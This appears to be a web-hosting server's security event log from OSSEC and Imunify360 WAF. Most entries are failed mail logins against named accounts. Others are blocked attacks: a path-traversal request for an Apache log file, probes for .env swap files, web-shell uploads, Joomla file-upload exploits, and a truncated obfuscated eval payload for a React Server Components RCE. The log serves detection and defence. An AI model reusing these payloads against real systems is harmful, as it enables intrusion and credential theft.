name: Exim Auth failed
abuser: 213.230.66.211
country_id: 1512440
description:
2026-07-10 13:18:07 dovecot_login authenticator failed for H=([67.201.59.67]) [213.230.66.211]:52364: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.221.144.203
country_id: 2077456
description:
2026-07-10 13:18:54 dovecot_login authenticator failed for H=([122.187.142.185]) [203.221.144.203]:34627: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-07-10 13:21:41 dovecot_login authenticator failed for H=([220.94.124.233]) [220.86.176.134]:42285: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.204.60.250
country_id: 1835841
description:
2026-07-10 13:21:57 dovecot_login authenticator failed for H=([116.38.54.26]) [119.204.60.250]:38104: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.250
country_id: 1269750
description:
2026-07-10 13:33:18 dovecot_login authenticator failed for H=(atlanta-1.cdn77.com) [122.187.230.250]:34740: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.17
country_id: 1861060
description:
2026-07-10 13:36:39 dovecot_login authenticator failed for H=([49.124.155.189]) [212.135.208.17]:37266: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.32.45.241
country_id: 2077456
description:
2026-07-10 13:36:15 dovecot_login authenticator failed for H=27-32-45-241.static.tpgi.com.au ([77.41.156.64]) [27.32.45.241]:53144: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-10 13:38:02 dovecot_login authenticator failed for H=(90-230-115-5-no2550.tbcn.telia.com) [121.131.220.137]:53280: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-10 13:38:11 dovecot_login authenticator failed for H=([184.170.245.145]) [197.219.228.246]:52910: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 167.253.17.159
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/slot-reviews/so-much-candy\">cialis tablet price</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-10 13:53:41 dovecot_login authenticator failed for H=([125.21.218.193]) [50.190.89.138]:52122: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-10 13:54:06 dovecot_login authenticator failed for H=([14.35.209.208]) [122.185.44.206]:45727: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 78.40.198.142
country_id: 290557
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:13-54.78.40.198.142||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-10 13:56:17 dovecot_login authenticator failed for H=([183.171.57.50]) [182.95.181.50]:58072: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.206.98
country_id: 1269750
description:
2026-07-10 13:59:55 dovecot_login authenticator failed for H=(46-10-56-170.ip.btc-net.bg) [103.148.206.98]:53004: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.220.16.51
country_id: 1269750
description:
2026-07-10 14:00:31 dovecot_login authenticator failed for H=([119.196.213.196]) [103.220.16.51]:43540: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-10 14:00:44 dovecot_login authenticator failed for H=([65.20.179.251]) [193.46.192.20]:59340: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 154.31.114.151
country_id: 1861060
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:253159||Sizes:135042||Combined size:135042||User:keralapeople||WPU:||Filename:wp-conffg.php||Scanned:/tmp//20260710-140357-alCudcKruZcHq1fs9glaNwAAAFU-file-x2x2xT||SC:/home/keralapeople/public_html/admin.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-10 14:04:34 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au (syn-024-097-253-246.biz.spectrum.com) [210.0.90.82]:60812: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-10 14:07:35 dovecot_login authenticator failed for H=([84.111.136.211]) [203.252.10.3]:27526: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-10 14:07:58 dovecot_login authenticator failed for H=([49.124.159.193]) [123.212.9.122]:41810: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.18.115.154
country_id: 3175395
description:
2026-07-10 14:08:18 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [85.18.115.154]:60857: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.191.26
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/ssp6-multiducer?Itemid=101&catid=18 HTTP/1.1||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 195.178.110.199
country_id: 732800
domain: futuracare.com.au
description:
IM360 WAF: Bad file extension||RSV:8.27||T:APACHE||MVN:REQUEST_FILENAME||MV:/..\\..\\..\\..\\..\\..\\var/log/apache2/access.log||User:futuracarecom||


plugin: modsec
rule: 77350312
name: IM360 WAF: Block system file path in request
abuser: 195.178.110.199
country_id: 732800
domain: futuracare.com.au
description:
IM360 WAF: Block system file path in request||MVN:REQUEST_URI||MV:/..\\..\\..\\..\\..\\..\\var/log/apache2/access.log||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 195.178.110.199
country_id: 732800
domain: futuracare.com.au
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.27||T:APACHE||MV:.env.swp||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 154.31.114.151
country_id: 1861060
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:171854||Sizes:42||Combined size:42||User:keralapeople||WPU:||Filename:wps.php||Scanned:/tmp//20260710-142037-alCyXS3t762VUgJpzU7qkAAAAIs-file-zZlgY2||SC:/home/keralapeople/public_html/admin.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.213.181.6
country_id: 1269750
description:
2026-07-10 14:21:19 dovecot_login authenticator failed for H=([72.205.0.69]) [117.213.181.6]:47830: 535 Incorrect authentication data (set_id=prameela@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.207.225.36
country_id: 1835841
description:
2026-07-10 14:22:28 dovecot_login authenticator failed for H=([49.124.153.61]) [175.207.225.36]:33790: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.167.250.45
country_id: 3686110
description:
2026-07-10 14:23:03 dovecot_login authenticator failed for H=([42.248.129.234]) [45.167.250.45]:33424: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: fefkadirectorsunion.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/vezkqdva/fonts/xetnxjmv.PHP||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.174
country_id: 2186224
description:
2026-07-10 14:30:29 dovecot_login authenticator failed for H=([72.37.216.65]) [121.73.163.174]:45480: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.229.22.106
country_id: 6252001
description:
2026-07-10 14:30:42 dovecot_login authenticator failed for H=24.229.22.106.res-cmts.hzl2.ptd.net ([104.37.135.150]) [24.229.22.106]:44281: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-10 14:31:00 dovecot_login authenticator failed for H=([123.129.245.249]) [117.211.15.93]:59874: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-07-10 14:33:21 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net (200-168-190-81.jandaia.com) [111.70.28.243]:38457: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.200.166
country_id: 149590
description:
2026-07-10 14:34:39 dovecot_login authenticator failed for H=([182.73.49.249]) [41.59.200.166]:35040: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-10 14:34:04 dovecot_login authenticator failed for H=(Bundle-Ether3.2078.static.gvt.net.br) [182.95.123.50]:58190: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.101.75
country_id: 1668284
description:
2026-07-10 14:34:54 dovecot_login authenticator failed for H=110-25-101-75.adsl.fetnet.net ([94.16.17.140]) [110.25.101.75]:60109: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.29.219.54
country_id: 1835841
description:
2026-07-10 14:36:29 dovecot_login authenticator failed for H=([121.73.169.149]) [59.29.219.54]:45012: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-10 14:37:22 dovecot_login authenticator failed for H=([70.166.167.59]) [182.78.86.62]:51262: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.86.88.24
country_id: 2802361
description:
2026-07-10 14:37:18 dovecot_login authenticator failed for H=([197.219.228.246]) [91.86.88.24]:51572: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
2026-07-10 14:38:22 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net ([182.95.182.138]) [193.180.125.157]:45746: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-10 14:43:25 dovecot_login authenticator failed for H=([87.106.245.167]) [121.131.220.152]:48269: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-07-10 14:43:44 dovecot_login authenticator failed for H=([46.42.19.159]) [219.248.65.30]:49688: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 45.157.112.217
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.28||T:APACHE||MVN:ARGS:data[5][value]||SC:/home/cochinbigbandsho/public_html/contact-us||


plugin: modsec
rule: 77209353
abuser: 194.39.127.167
country_id: 2264397
domain: jaashsupplies.com
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.56.34.147
country_id: 6252001
description:
2026-07-10 14:47:57 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [136.56.34.147]:43086: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.107.113
country_id: 1835841
description:
2026-07-10 14:48:36 dovecot_login authenticator failed for H=(65-181-79-060.static.imsbiz.com) [59.8.107.113]:54440: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.57.31
country_id: 1269750
description:
2026-07-10 14:48:45 dovecot_login authenticator failed for H=([60.223.250.50]) [103.168.57.31]:51012: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-10 14:48:17 dovecot_login authenticator failed for H=([199.187.210.51]) [182.95.230.74]:55814: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.94.66
country_id: 1269750
description:
2026-07-10 14:48:12 dovecot_login authenticator failed for H=(110-25-107-172.adsl.fetnet.net) [27.123.94.66]:48078: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.25.212.83
country_id: 1835841
description:
2026-07-10 14:51:11 dovecot_login authenticator failed for H=([67.201.39.9]) [59.25.212.83]:52774: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-07-10 14:51:23 dovecot_login authenticator failed for H=([27.24.141.156]) [49.124.205.169]:48168: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.114.190
country_id: 1269750
description:
2026-07-10 14:53:52 dovecot_login authenticator failed for H=([190.67.106.221]) [27.123.114.190]:48650: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-10 14:54:00 dovecot_login authenticator failed for H=([72.214.108.73]) [188.122.39.33]:39582: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 60.48.151.213
country_id: 1733045
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:76910.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0c2325e609e39c7abc0b7186bd32987a9ae1fbed||Title:0xf0a386a9||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var nn=[].slice.call(arguments,1)[0];var rxmry=nn;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: modsec
rule: 77350979
abuser: 103.155.122.147
country_id: 1819730
domain: www.ogocindia.com
name:
IM360 WAF: Joomla Page Builder CK unauthenticated file upload - browse.ajaxAddPicture (CVE-2026-56290 / WPT-2603)

description:
IM360 WAF: Joomla Page Builder CK unauthenticated file upload - browse.ajaxAddPicture (CVE-2026-56290 / WPT-2603)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.145
country_id: 1668284
description:
2026-07-10 15:02:52 dovecot_login authenticator failed for H=110-25-112-145.adsl.fetnet.net ([65.20.198.159]) [110.25.112.145]:48020: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.231.202.201
country_id: 51537
description:
2026-07-10 15:02:21 dovecot_login authenticator failed for H=(18776239145.telemar.net.br) [197.231.202.201]:40632: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-10 15:02:31 dovecot_login authenticator failed for H=([116.7.248.50]) [205.250.25.62]:50726: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-10 15:03:05 dovecot_login authenticator failed for H=([178.178.194.123]) [125.23.204.74]:58334: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-10 15:02:56 dovecot_login authenticator failed for H=([36.154.237.94]) [103.168.241.32]:49147: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77281327
abuser: 13.230.157.153
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated file write/delete via Helix3 com_ajax handler for Joomla before 3.1.1 (CVE-2026-49049)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-10 15:03:08 dovecot_login authenticator failed for H=([49.124.151.32]) [112.162.111.205]:35496: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77469916
abuser: 13.230.157.153
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:alfa.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-10 15:04:24 dovecot_login authenticator failed for H=([67.201.39.9]) [147.148.205.252]:54652: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-07-10 15:04:42 dovecot_login authenticator failed for H=([103.104.127.49]) [196.191.142.67]:53152: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77469916
abuser: 37.111.212.60
country_id: 1210997
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-08477fa7a0f905e347eb4f2e6f0b92c5.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.90.111.74
country_id: 1269750
description:
2026-07-10 15:06:34 dovecot_login authenticator failed for H=([211.199.253.131]) [59.90.111.74]:51880: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.163.127.14
country_id: 1269750
description:
2026-07-10 15:09:05 dovecot_login authenticator failed for H=([183.171.47.32]) [122.163.127.14]:29113: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.46.148.53
country_id: 1605651
description:
2026-07-10 15:08:54 dovecot_login authenticator failed for H=119-46-148-53.static.asianet.co.th (broadband-109-173-39-103.ip.moscow.rt.ru) [119.46.148.53]:60429: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 38.165.231.219
country_id: 3658394
domain: www.yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:index.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.36.137
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.186.252.58
country_id: 248816
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/intercom-systems HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 198.46.169.87
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.youtube.com/watch?v=eFksFbs1UkY\">Garage door repair near me</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 154.12.179.144
country_id: 1819730
domain: www.reach.ddgalaxy.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:154.12.179.144||TA:154.12.179.144||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-10 15:24:21 dovecot_login authenticator failed for H=(host-109-174-104-74.bb-nsk.sib.mts.ru) [219.248.4.146]:33092: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-10 15:26:55 dovecot_login authenticator failed for H=([102.38.3.104]) [112.160.57.196]:54974: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-10 15:27:19 dovecot_login authenticator failed for H=([98.181.137.75]) [106.201.237.208]:42140: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.139.137.5
country_id: 1512440
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-automation HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.206.131.33
country_id: 1269750
description:
2026-07-10 15:35:16 dovecot_login authenticator failed for H=([14.49.161.116]) [103.206.131.33]:53232: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-10 15:40:55 dovecot_login authenticator failed for H=([14.35.209.208]) [85.105.255.56]:34232: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.40.63
country_id: 1819730
description:
2026-07-10 15:41:09 dovecot_login authenticator failed for H=063.40.246.220.static.netvigator.com ([49.125.201.90]) [220.246.40.63]:50324: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.50
country_id: 298795
description:
2026-07-10 15:44:12 dovecot_login authenticator failed for H=([49.124.153.50]) [88.255.189.50]:41976: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.176.93
country_id: 2661886
description:
2026-07-10 15:44:36 dovecot_login authenticator failed for H=c83-191-176-93.bredband.tele2.se ([153.37.177.219]) [83.191.176.93]:59880: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-10 15:48:52 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com ([184.181.217.198]) [94.255.255.26]:42690: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.79.59.1
country_id: 878675
description:
2026-07-10 15:49:06 dovecot_login authenticator failed for H=([49.124.153.35]) [41.79.59.1]:8605: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.14.178.144
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/large-display-screens-projectors HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.120.21.69
country_id: 2287781
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers?Itemid=101&catid=18 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-10 15:52:10 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([185.112.148.66]) [64.207.225.55]:51860: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-10 15:52:28 dovecot_login authenticator failed for H=([211.105.229.237]) [182.95.61.82]:43308: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-10 15:54:21 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au ([222.116.19.117]) [210.0.90.82]:41124: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.164.59.184
country_id: 290557
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:29242.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:effb3c094c26b8f7b1cf1cd824149e706f15b96f||Title:0x45183d3c||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-10 15:54:09 dovecot_login authenticator failed for H=([95.165.25.233]) [220.126.215.120]:34536: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-10 15:55:36 dovecot_login authenticator failed for H=([49.124.147.120]) [14.42.47.150]:50498: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.210.188.157
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://business.thepilotnews.com/thepilotnews/markets/article/abnewswire-2026-4-14-paver-cleaning-services-in-bayshore-provided-by-paver-cleaning-and-sealing-pros-of-bay-shore-for-local-residents-focused-on-long-term-solution/\">Paver cleaning Bay Shore</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.164.59.184
country_id: 290557
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:99302.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eac68b4fe74cd4ea9d66463126c5871fd0b1be62||Title:0x3b7c9be8||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 38.224.66.20
country_id: 3932488
domain: gsmex.global
description:
